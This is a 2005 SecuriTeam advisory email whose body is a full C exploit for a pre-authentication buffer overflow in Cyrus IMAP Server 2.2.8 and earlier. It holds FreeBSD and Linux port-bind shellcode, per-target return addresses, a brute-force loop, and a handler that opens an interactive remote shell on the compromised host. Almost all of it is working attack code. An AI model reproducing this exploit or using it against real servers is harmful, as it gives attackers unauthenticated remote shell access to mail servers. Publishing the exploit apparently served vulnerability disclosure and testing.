[EXPL] Cyrus IMAP Server Preauthentification Overflow
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 6 Apr 2005 17:05:53 +0200
Subject: [EXPL] Cyrus IMAP Server Preauthentification Overflow
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050406151011.5A7EF5739@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
X-Spam-Status: No, hits=2.066 tagged_above=2 required=5 tests=AWL, INFO_TLD,
MSGID_FROM_MTA_ID
X-Spam-Level: **
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Cyrus IMAP Server Preauthentification Overflow
------------------------------------------------------------------------
SUMMARY
As reported earlier, Cyrus IMAP server suffer from a pre-authentication
buffer overflow. For more information see:
<http://www.securiteam.com/unixfocus/6N00N0UBPO.html>
http://www.securiteam.com/unixfocus/6N00N0UBPO.html.
Provided here is an exploit code for the Cyrus pre-authentication
vulnerability with a FreeBSD portbind shellcode.
DETAILS
Exploit Code:
/*
* THE EYE ON SECURITY RESEARCH GROUP INDIA - [email protected]
*
* 305imapmagic.c - n2n/#eos - 24/11/2004
* Cyrus IMAP Server <=2.2.8 IMAPMAGICPLUS preauthentification overflow
* Copyright (c) Nilanjan De <n2n@eos-india.net.> ,
http://www.eos-india.net
*
* Credits: Bug found by Stefan Essar of Team .... e-matters.de??,
* FreeBSD portbind shellcode by raptor
*
* Advisory URL: http://security.e-matters.de/advisories/152004.html
*
* Note: Exploitation is pretty straight-forward. One thing to keep in
mind is
* that certain characters like '(',')','"', etc are filtered by
cyrus-imapd
* so shellcode and return address cannot contain those characters.
*
*
* Greetz: Gyan, jaguar, Team TESO, gera, raptor, all the ppl in
* irc.pulltheplug.org,...
*
* Update: 31/4/2005: no use keeping this private anymore.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/errno.h>
#include <stdarg.h>
#include <string.h>
#define IMAP_PORT 143
#define BIND_PORT 31337
#define BUFMIN 491
#define BUFLEN 8192
#define RET 0x08144024 //0xbfbfcd8c
#define RET_START 0x08142000
#define RET_END 0x08146000
#define NRETS 5
#define TIMEOUT 10
#define MAX(a,b) ((a) > (b) ? (a) : (b))
#define MIN(a,b) ((a) > (b) ? (b) : (a))
#define BSD_PORT_OFFSET 27
#define LNX_PORT_OFFSET 45
int connect_to(char *host, unsigned int port, unsigned int timeout);
void sock_printf(int fd, char *fmt,...);
void usage(char *prog);
void doshell(int sock);
int allowed(unsigned char byte);
void fixnull(unsigned long *addr);
int check_shellcode(char *shellcode);
/*
* portbind-bsd.c - setuid/portbind shellcode for *BSD/x86 Copyright (c)
2003
* Marco Ivaldi <raptor@0xdeadbeef.info.>
*/
char portbind_bsd[] =/* 8 + 86 = 94 bytes */
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80"
"\x89\xc3\x52\x66\x68"
"\x7a\x69" // port 31337 / tcp, change if needed
"\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80"
"\x51\x53\x53\xb0\x6a\xcd\x80"
"\x52\x52\x53\x53\xb0\x1e\xcd\x80"
"\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80"
"\x41\xe2\xf5\x51\x68//sh\x68/bin\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";
/* Ripped code. Binds shell on 45295 */
char portbind_linux[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
struct target {
char *description;
unsigned int bufsize;
unsigned long retaddr;
unsigned long brutestart;
unsigned long bruteend;
char *shellcode;
};
struct target targets[]
= {
{"FreeBSD 5.x, Cyrus Imapd 2.2.8", 533, 0x08144024, 0x08140000,
0x08148000, portbind_bsd},
{"Fedora Core w/o bigmem/execshield, Cyrus Imapd
2.2.8",533,0x08134320,0x08130000,0x08138000,portbind_linux},
{NULL, 0, 0, 0, 0, NULL}
};
int
connect_to(char *host, unsigned int port, unsigned int timeout)
{
struct hostent *h;
struct sockaddr_in sin, addr;
int sock, flags, len;
fd_set rd, wr;
struct timeval tv;
if ((h = gethostbyname(host)) == NULL) {
#ifdef DEBUG
perror("gethostbyname");
#endif
return -1;
}
sin.sin_addr = *((struct in_addr *) h->h_addr);
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
#ifdef DEBUG
perror("socket");
#endif
return -1;
}
fcntl(sock, F_SETFL, O_NONBLOCK);
if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0) {
FD_ZERO(&rd);
FD_ZERO(&wr);
FD_SET(sock, &rd);
FD_SET(sock, &wr);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sock + 1, &rd, &wr, 0, &tv) <= 0) {
#ifdef DEBUG
perror("select");
#endif
return -1;
}
if (!FD_ISSET(sock, &rd) && !FD_ISSET(sock, &wr)) {
#ifdef DEBUG
perror("connect");
#endif
return -1;
}
len = sizeof(addr);
if (getpeername(sock, (struct sockaddr *) & addr, &len) <
0) {
#ifdef DEBUG
perror("getpeername");
#endif
return -1;
}
}
flags = fcntl(sock, F_GETFL, NULL);
fcntl(sock, F_SETFL, flags & ~O_NONBLOCK);
return sock;
}
int
allowed(unsigned char byte)
{
switch(byte){
case ' ':
case '(':
case ')':
case '\"':
case 0x00:
return 0;
break;
default:
return 1;
break;
}
}
void
fixnull(unsigned long *addr)
{
unsigned char byte1, byte2, byte3, byte4;
byte1 = (*addr >> 24) & 0xFF;
if (!allowed(byte1)) {
while (!allowed(++byte1));
*((unsigned char *)addr + 3) = byte1;
*((unsigned char *)addr + 2) = 0;
*((unsigned char *)addr + 1) = 0;
*((unsigned char *)addr + 0) = 0;
}
byte2 = (*addr >> 16) & 0xFF;
if (!allowed(byte2)) {
while(!allowed(++byte2));
*((unsigned char *)addr + 2) = byte2;
*((unsigned char *)addr + 1) = 0;
*((unsigned char *)addr + 0) = 0;
}
byte3 = (*addr >> 8) & 0xFF;
if (!allowed(byte3)) {
while (!allowed(++byte3));
*((unsigned char *)addr + 1) = byte3;
*((unsigned char *)addr + 0) = 0;
}
byte4 = (*addr) & 0xFF;
if (!allowed(byte4)) {
while (!allowed(++byte4));
*((unsigned char *)addr) = byte4;
}
}
void
sock_printf(int fd, char *fmt,...)
{
va_list ap;
char buf[BUFLEN];
memset(&buf, 0, sizeof(buf));
va_start(ap, fmt);
vsnprintf(buf, (sizeof(buf) - 1), fmt, ap);
if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
#ifdef DEBUG
perror("send");
#endif
exit(EXIT_FAILURE);
}
return;
}
void
usage(char *prog)
{
unsigned int i;
printf("Usage: %s -h <host> [options]\n", prog);
printf("Options:\n");
printf("\t-h <host>\tHost or IP\n");
printf("\t-p <port>\timapd port(default 143)\n");
printf("\t-s <size>\tbuffersize(minimum 491,default 533)\n");
printf("\t-b\t\tbrute force mode\n");
printf("\t-v\t\tverbose mode\n");
printf("\t-B\t\tPort to bind shell (Default: 31337)\n");
printf("\t-T <timeout>\ttimeout in seconds\n");
printf("\t-t <target>\ttarget number\n");
printf("Targets:\n");
for (i = 0; targets[i].description != NULL; i++)
printf("\t%d\t%s\n", i, targets[i].description);
exit(EXIT_FAILURE);
}
void
doshell(int sock)
{
char buf[BUFLEN];
fd_set input;
/* Enjoy remote shell ;) */
send(sock, "uname -a; id;\n", 14, 0);
while (1) {
FD_ZERO(&input);
FD_SET(fileno(stdin), &input);
FD_SET(sock, &input);
if ((select(MAX(sock, fileno(stdin)) + 1, &input, NULL,
NULL, NULL)) < 0) {
if (errno == EINTR)
continue;
printf("+ Connection Closed\n");
fflush(stdout);
close(sock);
exit(EXIT_SUCCESS);
}
if (FD_ISSET(sock, &input))
write(fileno(stdout), buf, read(sock, buf,
BUFLEN));
if (FD_ISSET(fileno(stdin), &input))
write(sock, buf, read(fileno(stdin), buf,
BUFLEN));
}
}
int
check_shellcode(char *shellcode)
{
int i,n;
for(i=0,n=0;shellcode[i];n+=allowed(shellcode[i++]));
return i-n;
}
int
main(int argc, char **argv)
{
unsigned short port = IMAP_PORT,bind_port=BIND_PORT;
unsigned long n = 0, nmin = BUFMIN, targetnum = 0, timeout =
TIMEOUT;
unsigned long i, targetmax;
unsigned long retaddr = 0, ret_start = 0, ret_end = 0;
char c, *shellcode = portbind_bsd, *buf, *victim = NULL;
int s, brute = 0, verbose = 0;
for (targetmax = 0; targets[targetmax].description != NULL;
targetmax++);
while ((c = getopt(argc, argv, "h:p:r:s:t:T:B:bv")) != EOF) {
switch (c) {
case 'h':
victim = optarg;
break;
case 'p':
port = (unsigned short)strtoul(optarg, NULL, 0);
break;
case 'r':
retaddr = strtoul(optarg, NULL, 0);
ret_start = retaddr;
break;
case 's':
n = strtoul(optarg, NULL, 0);
if (n < nmin) {
printf("Buffersize too small\n");
usage(argv[0]);
}
break;
case 't':
targetnum = strtoul(optarg, NULL, 0);
if (targetnum >= targetmax) {
printf("Invalid target number\n");
usage(argv[0]);
}
shellcode = targets[targetnum].shellcode;
if (!retaddr)
retaddr = targets[targetnum].retaddr;
if (!n)
n = targets[targetnum].bufsize;
if (!ret_start)
ret_start = targets[targetnum].brutestart;
ret_end = targets[targetnum].bruteend;
break;
case 'T':
timeout = strtoul(optarg, NULL, 0);
break;
case 'b':
brute = 1;
verbose = 1;
break;
case 'v':
verbose = 1;
break;
case 'B':
bind_port = (unsigned short)strtoul(optarg, NULL,
0);
break;
default:
usage(argv[0]);
break;
}
}
if (!victim)
usage(argv[0]);
/* defaults */
if (!n)
n = 533;
if (!retaddr)
retaddr = RET;
if (!ret_start)
ret_start = RET_START;
if (!ret_end)
ret_end = RET_END;
*((unsigned short *)(portbind_bsd + BSD_PORT_OFFSET)) =
htons(bind_port);
*((unsigned short *)(portbind_linux + LNX_PORT_OFFSET)) =
htons(bind_port);
if ((i=check_shellcode(shellcode))){
printf("- Shellcode has %u bad characters\n",i);
exit(EXIT_FAILURE);
}
if (nmin < strlen(shellcode) + NRETS * 4 + 20) {
printf("- Shellcode too big\n");
exit(EXIT_FAILURE);
}
buf = (char *)malloc(n * sizeof(char));
if (NULL == buf) {
#ifdef DEBUG
perror("malloc");
#endif
exit(EXIT_FAILURE);
}
if (brute) {
retaddr = ret_start;
printf("+ Brute force mode\n");
}
do {
if ((s = connect_to(victim, port, timeout)) < 0) {
printf("- Unable to connect\n");
exit(EXIT_FAILURE);
}
#ifdef DEBUG
printf("Attach");
scanf("%c", &i);
#endif
if ((i = read(s, buf, n)) < 0) {
#ifdef DEBUG
perror("read");
#endif
exit(EXIT_FAILURE);
}
buf[i] = 0;
if (verbose && !brute)
printf("+ Got Banner\n%s\n", buf); /* cyrus is
greeting us */
memset(buf, 'G', n - 1);
fixnull(&retaddr);
for (i = 0; i < NRETS; i++)
*((unsigned long *)(buf + n - 5 - i * 4)) =
retaddr;
memcpy(buf + n - 5 - i * 4 - strlen(shellcode), shellcode,
strlen(shellcode));
buf[n - 1] = 0;
sock_printf(s, "a001 LOGIN %s pass\r\n", buf); /* we greet
cyrus here */
if (verbose)
printf("+ Sending evil
request[SIZE=%d][RET=%p]...", n, retaddr);
if (!brute)
sleep(2);
close(s);
if ((s = connect_to(victim, bind_port, timeout)) < 0) {
if (verbose)
printf("Failed\n");
} else {
if (verbose) printf("Success\n");
printf("+ Seems we got a shell, have fun\n");
doshell(s);
exit(EXIT_SUCCESS);
}
retaddr += (n - strlen(shellcode) - NRETS * 4 - 1) / 2;
} while (brute && (retaddr < ret_end));
/* program shdn't reach this point */
exit(EXIT_FAILURE);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:root@eos-india.net.>
EOS-India.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.